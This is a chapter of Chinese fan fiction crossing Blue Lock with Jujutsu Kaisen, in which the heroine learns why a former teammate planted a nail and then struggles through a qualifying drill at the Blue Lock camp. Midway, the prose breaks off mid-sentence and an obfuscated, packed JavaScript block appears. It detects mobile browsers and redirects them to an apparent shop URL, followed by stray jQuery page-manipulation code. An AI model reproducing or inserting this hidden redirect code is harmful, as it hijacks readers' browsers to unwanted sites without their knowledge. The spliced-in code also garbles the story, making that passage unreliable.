“所以是你自己放的钉子,也是你自己自愿踩上去的对吗?”
洁世一和蜂乐回不能离开蓝锁训练营,为了问清楚心底所存在的疑问,苏池青带着五条悟跟骆斯来到医院。
他们刚到病房门口就听见医生惋惜地说:“钉子扎得太深,虽然已经取出,可作为足球运动员的查语司再也无法重回赛场。”
这个回答苏池青并不意外,她带着憋了一路的话质问病床上的查语司:“我不明白,你若是想害骆斯,按照当时那个情况,你不冲上来的话现在躺在病床上的人就是骆斯。”
病房里消毒水味呛鼻,不知是哪位医护人员放在窗台前的薄荷草奄奄一息,查语司神情恍惚地望向窗外。
他语气缓慢,带着复杂的情绪:“因为我突然想到以前,无论比赛结果如何,都会带着我重振旗鼓的那个骆斯。”
苏池青余光瞥见骆斯独自坐在角落,对方被阴影笼罩,她看不清脸上的表情,但她明白,骆斯肯定也有很多问题想问。
既然骆斯不愿开口,那便由她来:“照你口中的话说,明明以前你和骆斯那样要好,为什么现在一定要走捷径呢?”
查语司:“赛场向来残酷,得分最高的人被队员追捧,最低的将被忽略。曾经我是那位被所有队员追捧的人,队里要选队长,我因为分心错失掉关键的一球,队长之位拱手相让给他人。”
他越说情绪越激动,眼泪夺眶而出:“我没想到他人竟是偷偷训练突然爬上来的骆斯,我最好的朋友和搭档!”
苏池青关切地递去一张纸巾,说出口的话却异常冷漠:“所以你嫉妒心理作祟,想用钉子扎伤骆斯,把他拉下神坛对吗?”
“然后你自己重新为王”——这句话太过伤人心,苏池青并没有说,而是重新咽回肚子里。
她向洁世一打听过很多关于骆斯和查语司的资料与过往荣誉事件。
两人是初中同学,在校内足球场相识,一直搭档到高中,夺下无数青年赛的冠军,高中毕业后进入同一支队伍。
他们带着队伍取胜,共同称王。
最后却因为一场关于队长之位的比拼,两人关系就此破裂,到底是关系不够好,还是荣誉本来就比情意更珍贵。
她无从知晓。
“查语司。”始终保持沉默的骆斯在此刻突然站起身,悠悠走到床前,“我并没有要跟你争队长的意思。”
他从口袋中掏出一张照片,放在指尖轻轻摩挲着,苏池青好奇瞄了一眼。
那是一张骆斯和查语司少年时一同躺在草坪上的合照。
骆斯说:“当时我们约定好要一同夺得世界冠军,你告诉我以后我们无论是对手还是队友都要拿出百分百的实力,一定不要放水。”
“因为那是对彼此实力的肯定。”
话落下的一刹那间,查语司仿佛想起少年时的约定而感到惭愧,从牙缝中挤出一句自嘲。
“是啊,是我忘记了我们的约定。”
-
望着车窗外模糊不清的身影,列车迅速穿城而过,明明调查出了真相也算洗清了嫌疑,可苏池青就是觉得心里闷闷的。
【宿主您好像不怎么开心?】
肩膀很沉重,苏池青看了一眼靠着自己睡着的五条悟,觉得这小孩大概是累到了。
她回答系统:就是觉得事情的真相不是我想要的而已。
【但转念一想,这也许是对他们最好的结果了不是吗?】
苏池青:是啊。
不过现在还不能忧郁,既然已经证明了自己的清白,就该去证明自己的实力了。
想办法加入蓝锁,成为他们的一员,然后带他们夺得世界冠军,成功回现实。
她一直没有忘记自己的最终目的。
“车辆已到达蓝锁训练营。”
下车后,她并没有叫醒睡熟的五条悟,反而将对方轻抱在怀里跨进蓝锁训练营。
怀中的小孩很轻,真的像抱着家中那只白猫一样。
“欢迎回来。”一直在门口等待的蜂乐回朝苏池青挥挥手,“洁已经去告诉我们教练了,教练让你过去。”
她心想洁世一和蜂乐回的速度还真快,自己刚出医院就告诉他们嫌疑已经洗清,现在要加入蓝锁。
他们就已经告知了教练。
教练名叫绘心甚八,苏池青原本以为对方很严肃,是那种绝对不好相处的对象,结果看到对方的第一眼……
“长得好像我老家的黑芝麻馒头。”她几乎是下意识脱口而出。
五条悟已经被蜂乐回抱去寝室,此刻站在苏池青身旁的洁世一有些摸不清头脑,不懂她在说些什么。
绘心甚八并没理会,双手合十若有所思地打量着苏池青,声音淡漠而平静:“想必你来之前已经了解过赛场规则了吧?”
苏池青回答:“明白,我是女生,想要加入蓝锁就必须证明自己有什么过人的实力。”
她心想实力这种东西还不简单,只要有体能监测系统在,冠军不是手到擒来。
但想象终究是想象,真到了赛场,她一个球都没能踢到。
“这玩意是人能过的吗?”苏池青犯着嘀咕,崩溃地跪在草坪上,掰开手指数着自己还要再踢中几个球才能加入蓝锁。
绘心甚八给她规定在48小时时限内,需达到三分钟内踢中二十个球的目标,然而24小时过去,她目前三分钟内仅能踢中四个球。
一想到完成这个任务后,还要和蓝锁队员进行比赛,她就顿感心态仿佛已经崩裂。
“想放弃?”已经睡醒且不到三分钟就踢中二十个球的五条悟双臂抱在胸前,以上位者的姿态俯瞰趴着的苏池青,“好笨。”
苏池青情绪上头,不客气地回怼:“天赋异禀的小孩就该滚到一边去,禁止说风凉话。”
谁成想五条悟眯起眼,问:“其实穿越过来的不止我们,还有一位存在于你脑海中的人,对吧?”
苏池青和系统同时冒出一身冷汗。
她小心翼翼扫视一眼周围,知道有些话不能在这里说,迅速起身捂住五条悟的嘴,将对方提起来跑回寝室。
体力本就因为足球训练消耗殆尽,眼下又提着五条悟跑回宿舍,她已经累得瘫倒在地,喘得上气不接下气。
还没等她缓过气来问,五条悟就仿佛猜出她心中所想,答道:“经过我观察,你总是会突然陷入没必要的思考,然后脸上挂着勉强的笑,好像有什么人戳中你的心思一样,从我们第一次见面起我就发现了。”
苏池青嘴角上扬,起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552913|204382||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
倒了水杯,始终保持着即使事实被说穿也依旧存在的理智:“是,穿越到这个世界的不止我们俩,还有一个名叫系统的存在。”
她不知道该作何解释,才能让面前眉头紧锁的五条悟明白系统是什么,便用现实中人们常说的话解释:“它是一种不存在且比我们强的东西,你可以理解为它有超能力。”
五条悟张口却是:“他有什么超能力?”
见五条悟的接受程度飞快,苏池青没隐瞒,趴在他耳边轻声道:“它能监测蓝锁队员的体能信息。”
【宿主您这就把我出卖了吗?】
苏池青置若罔闻,像那种得到稀世珍宝向小孩炫耀一般的坏蛋,手叉腰:“怎么样?是不是非常厉害?”
“是很厉害,但在你手里有点废。”五条悟说得认真,完全不像在开玩笑。
苏池青翻了个白眼,没再理他,转身去浴室泡了个澡,打算稍作歇息后重新去挑战那魔鬼般的三分钟二十个球的训练。
“砰”的一声,球机飞快发射出足球。挽起头发的苏池青眼疾脚快,抬起脚稳稳踢中那一球。
绘心甚八给她的时间只剩不到十四小时,最好的成绩却始终停留在三分钟十五个球,不知是身体已经达到极限,还是她本就不行。
草坪上的草被她狠狠攥在手里,她不服。
“加油。”那道声音平静而冷漠,动作却无比温柔,“对你来说还不算极限。”
苏池青抬眸的瞬间,撞进五条悟依旧高傲的眼神中,此刻被对方摸着脑袋的她,竟感到一丝的温暖。
恍惚间她瞥见了五条悟红透的脖颈。
【宿主加油!你一定能行的!初次来到这里时,你的力量、耐力、速度、柔韧性及灵敏协调能力都不好,在持续的训练下都有所提升。】
苏池青坚强地扯出一抹笑,笑得比哭还要难看:“你还不如不夸呢。”
五条悟:“?”
“我是在跟系统说话。”她说。
就在这时,训练场墙壁上高高悬挂的电子屏幕毫无征兆地亮起,屏幕上绘心甚八翘着二郎腿藐视苏池青。
他语气中带着淡淡的低讽:“如果觉得自己不行的话就趁早放弃,我没那么多时间陪你耗下去。”
“你要是想用激将法可对我一点没用。”苏池青摇摇晃晃站起身,撩起额头碎发,朝绘心甚八坚定地说,“蓝锁我加入定了。”
还有现实她也一定要回。
屏幕黑灭的那一秒,苏池青敏锐地捕捉到绘心甚八嘴角挂着一丝令人读不懂的笑。
三分钟十五个球。
三分钟十七个球。
三分钟十九个球。
她怎么都踢不到最后一个。
体力已被全然耗尽,倒计时只剩不到半个小时,苏池青屈膝喘息着,汗水滴落在地面,全身热血沸腾。
“继续来!”
擦掉脸上的汗水,苏池青眼神越发坚定,五条悟按下发球机按钮,苏池青像往常一样以最稳最快的速度踢中前十九个球。
“十五秒倒计时开启。”
她眼神坚定地瞅准那最后一个球,倒计时仿佛一颗定时炸弹悬挂在她心中。
然而倒计时还剩最后五秒时,最后一个球突然偏离了原本的轨道。